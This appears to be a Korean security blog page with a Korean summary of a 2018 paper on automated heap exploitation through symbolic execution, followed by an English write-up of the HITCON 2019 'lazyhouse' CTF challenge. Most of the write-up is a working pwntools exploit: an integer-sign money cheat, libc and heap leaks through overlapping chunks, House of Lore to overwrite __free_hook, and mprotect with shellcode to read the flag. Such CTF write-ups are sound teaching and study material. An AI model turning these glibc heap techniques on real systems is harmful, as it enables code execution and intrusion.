https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-eckert.pdf

주의

지극히 개인적인 의견만 들어가 있습니다. (본인도 대체 뭘 썼는지 모르겠음)

선정 이유

CVE-2019-6778 을 분석하다 보니 heap과 유사한 점들을 찾았다.

  1. malloc, free와 같은 transaction에 의해 내부 state가 변하는 것이 동일하고 (패킷이 들어왔을 때 state가 변한다)
  2. 패킷이 들어왔을 때 발생하는 특정 메모리 시퀀스가 존재한다.

이런 상황에서 오버플로우와 같이 명확한 취약점이 존재하지 않더라도 동적 메모리 부분에서 버그를 찾을 수 있지 않을까라는 생각에 해당 논문을 선정하였다. 해당 논문을 통해 transaction에 의한 state transition이 있는 모델에서 취약점을 찾는 방법을 배우고자 한다.

요약

모델

모델은 (Heap Interaction Model) 3요소로 구성되어 있다.

  1. Heap-state : 현재 힙 상태를 말한다. mmaped memory, allocated chunks, freed chunks 로 구성된다.
  2. Transactions : malloc, free, overflow등으로 state transition이 일어날 수 있는 행동들을 정의한다.
  3. New heap-state : transaction에 의해 변한 heap state다.

모델은 위와 같이 주어져 있지만 실제 바이너리에서 분석을 진행한다고 할 때 transaction만 API로써 정의되어 있을 뿐 정확한 heap-state는 dynamic allocator의 버전마다 다르기 때문에 사실상 알려져 있지 않다고 보면 된다.

마지막으로, transaction 수를 제한하여 symbolic execution의 문제인 path explosion과 constraint complexity를 어느정도 해소한다.

Transactions

Transaction을 usage와 mis-usage로 분류할 수 있다.

  • Usage : malloc, free와 같이 정상적으로 처리되는 경우이다.
  • Mis-Usage : overflow, UAF, Double Free, Fake Free와 같이 정상적이지 않은 행동들이다.

이들에 대한 간단한 예시를 들면 아래와 같다.

malloc

size에 해당하는 symbolic value가 주어졌을 때 아래 3가지가 발생한다.

  1. Return : addr, actual size에 해당하는 symbolic value들이 발생한다.
  2. Constrains : 주어진 size에 대해 actual size가 달라지기 때문에 이에 대한 constrain들이 주어지게 된다.
  3. Modifies : heap-state의 변화가 정의된다.

UAF

Freed chunk에 해당하는 addr와 actual value가 주어지고 특정 symbolic data가 주어지면 UAF에 의해 symbolic byte들로 metadata overwrite가 발생하거나 heap state가 변화한다.

Interaction Model

주어진 transaction sequence를 가지고 permutation을 만들고, permutation을 소스코드로 변환한다. (PoC가 될 수도 있는 후보들) Permutation에는 무조건 하나 이상의 mis-use가 포함되어 버그가 발생할 수 있어야 한다. 그 뒤 소스코드를 컴파일해서 바이너리로 변환한다. 단, 이 과정에서 symbolic memory를 사용할 수 있도록 instrumentation 과정을 거쳐야 한다.

Model Checking

Symbolic execution을 사용하여 앞 단계에서 생성한 바이너리를 실행한다. (Shared library도 같이 실행됨) 이 과정에서 mmap이나 brk와 같은 system call도 시뮬레이팅하며 (angr 프레임워크를 사용하기 때문) DFS를 통해 속도를 향상한다. (하나의 path를 하나의 contraint set에 대응시킨다)

Security Violation Identification

Symbolic execution을 통해 아래 4개의 state들을 검색한다.

  1. OA (Overlapping Allocation)
  2. NHA (Non-Heap Allocation)
  3. AW (Arbitrary Write)
  4. AWC (Arbitrary Write Constraint) : AW가 가증하지만 특정 content가 존재하는 부분만 쓰기 가능

PoC Generation

Symbolic data를 concrete data로 바꿔서 PoC 코드를 생성한다.

전체 아키텍쳐

총평

Symbolic execution을 통해 transaction based model을 테스트한다는 것이 인상적이었다. 하지만 네트워크에 넣어서 적용시키는데에는 한계점이 있다. 만약에 네트워크에서 mis-use를 정의할 수 있고 해당 mis-use를 통해 익스플로잇을 하는데 어려움이 많다면 해당 프레임워크를 수정해서 사용하는 것도 나쁘지 않은 것 같다.

https://github.com/candymate/pwn/tree/master/HITCON%202019%20Quals/lazyhouse

Description

My teammate, Lays, wants a house. Can you buy one for him?
flag: /home/lazyhouse/flag

nc 3.115.121.123 5731

Analysis

The problem is just a simple menu heap challenge, with some seccomp rules. (like execve being blocked) In this challenge, we can allocate, free, print chunks, as well as two chances of modification + 32 byte overflow, and 1 malloc chance.

The allocation of chunk needs size and money, where size is bigger than 0x7f, and money is bigger than 218*size. The allocation uses calloc to get chunk, so it doesn't use tcache in allocation. Moreover, the number of entries in chunk list is 8, so we can get 8 different chunks in maximum.

Freeing chunks refunds money of size*64, and it deletes chunk from the bss list, so it's impossible to free same chunk multiple times.

We can print chunks with write function if the chunk is in the house list. Also, we have 2 chances to upgrade house, which allows us to modify content of chunk + 32 bytes of heap overflow. We can also allocate chunk with size 0x220, with malloc once.

Bug

There is a bug in buying house, which allows us to buy houses with negative size. In buying house, it compares unsigned size with signed 0x7f, so we can give size with negative value. However, we need to ensure that 218*size is lesser than our money, since it performs unsigned comparison.

Also, there is an intended bug in upgrading house, which allows us to do 32 byte heap overflow twice.

Exploit

Money cheat

Because unsigned size value we give in buying house is compared with signed 0x7f, we can give negative size to buy house, and sell it to increase our money. So we can make our money super large by buying house with proper size, and selling it.

# money cheat
polluted_size = -(((219 << 64) / 218) % (1 << 64))
r.sendlineafter("choice: ", "1")
r.sendlineafter("Index:", "0")
r.sendlineafter("Size:", str(polluted_size))
r.interactive()
sell_house(0)

Libc and tcache struct address leak by chunk overlapping 2

By using chunk overlapping 2 (Link), we can leak libc and heap address. Two chunks are overlapped for later processes.

# filling tcaches
for i in xrange(7):
  buy_house(0, 0x88, "Z")
  sell_house(0)
for i in xrange(7):
  buy_house(0, 0x98, "Z")
  sell_house(0)
for i in xrange(7):
  buy_house(0, 0x1f8, "Z")
  sell_house(0)

buy_house(0, 0x88, "A")
buy_house(1, 0x98, "B")
buy_house(2, 0x418, "C") # chunk to be overlapped
buy_house(3, 0x418, "D") # chunk to be overlapped
buy_house(4, 0x98, "E")
buy_house(5, 0x88, "F") # chunk to block coalescing

sell_house(4)
upgrade_house(0, "G"*0x88+p64(0xa0+0x420+0x420+1))
sell_house(1)

# leak libc address
buy_house(1, 0x98, "H") # size is 0x98 to write arena address in 2

libc_leak = u64(show_house(2)[0:8])
log.success("libc leak addr : "+hex(libc_leak))

libc_base = libc_leak - 0x7fb657832ca0 + 0x7fb65764e000
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

# cleanup
sell_house(5)
sell_house(1)
sell_house(0)

# leak heap address
payload = "K"*(0x90+0xa0-8)
payload += p64(0x31) # fake size 0x31 (2nd entry of tcache entries)
payload += "L"*0x418
payload += p64(0x21) # fake size 0x21 (1st entry of tcache entries)
payload += "L"*0x18
payload += p64(0x401)
buy_house(4, 0x90+0xa0+0x420+0x420-8, payload)

# free two chunks to put them in tcache struct
sell_house(2) # to 0x31 entry
sell_house(3) # to 0x21 entry

# leak tcache struct addr (actually tcache key in 2.29)
heap_leak = u64(show_house(4)[0x138:0x140])
log.success("heap leak addr : "+hex(heap_leak))
chunk_base = heap_leak-0x10

House of Lore to overwrite free hook

In tcache struct, tcache count list and tcache entries are adjacent. Because of that, we can create fake chunk structure in tcache struct, by putting 1st and 2nd tcache entry by freeing chunks size 0x20 and 0x30, and fake size (in this case, 0x301)by freeing chunks size 0x3a0 and 0x3b0. After house of lore, tcache entries will be overwritten, so that we can do arbitrary write by buying super house.

# house of lore
buy_house(4, 0x90+0xa0+0x420-8+0x10, "M")
buy_house(5, 0x1f8, "N")
buy_house(6, 0x1f8, "O")

sell_house(5)
buy_house(5, 0x4b8, "P")

payload = "Q"*(0x90+0xa0-8+0x10)
payload += p64(0x421) # restore chunk size
payload += p64(chunk_base+0x40) # fake chunk 2
payload += "R"*0x410
payload += p64(0x201) # for checking (looks like size)
payload += p64(libc_leak-96+592) # fake chunk 1
payload += p64(chunk_base+0x40) # fake chunk 1
upgrade_house(4, payload)

buy_house(1, 0x1f8, "S")

# pre process for super size house
buy_house(0, 0x217, "PLUS")
sell_house(0)

# fake size in tcache struct (0x301)
buy_house(0, 0x398, "Z")
sell_house(0)
for i in xrange(3):
  buy_house(0, 0x3a8, "Z")
  sell_house(0)

# overwrite tcache entries
target = free_hook
log.info ("target: " + hex(target))
payload = ""
payload += "/bin/sh\0"+p64(target)*17*2 
buy_house(0, 0x1f8, payload)

Call mprotect and run shellcode

Overwrite __free_hook to call mprotect, then run shellcode.

xchg_gadget = libc_base + 0x0000000000158023
call_mprotect = libc_base + 0x0000000000117590
how_gadget = libc_base + 0x00000000001080fc
push_rdi_ret = libc_base + 0x000000000004c745
log.info ("b * {}".format (hex(how_gadget)))
ss = p64(how_gadget)
buy_super_house(ss)

pay = p64(call_mprotect) + p64(heap_leak + 0x4ff0) 
context.arch = 'amd64'
context.os = 'linux'

sc = asm(shellcraft.amd64.open ("/home/lazyhouse/flag", 0))
sc += asm(shellcraft.amd64.read ('rax', 'rsp', 100))
sc += asm(shellcraft.amd64.write (1, 'rsp', 100))
pay2 = p64(heap_leak+0x4220) + "\x90" * 0x20 + sc
print len (pay2)
buy_house (2, 0x850, "ASDF")
buy_house (7, 0x200, pay)
buy_house (3, 0x200, pay2)

r.sendafter("choice: ", "3".ljust(0x20, "b"))
r.sendafter("Index:", "7".ljust(32,"a"))
#sell_house(0)
sell_house (3)
r.interactive()

Full code

Link

'보안 > CTF Writeups' 카테고리의 다른 글

Google CTF 2018 Proprietary Format write-up  (0) 2021.01.19
SSTF Hacker's Playground Write-up  (0) 2021.01.19

+ Recent posts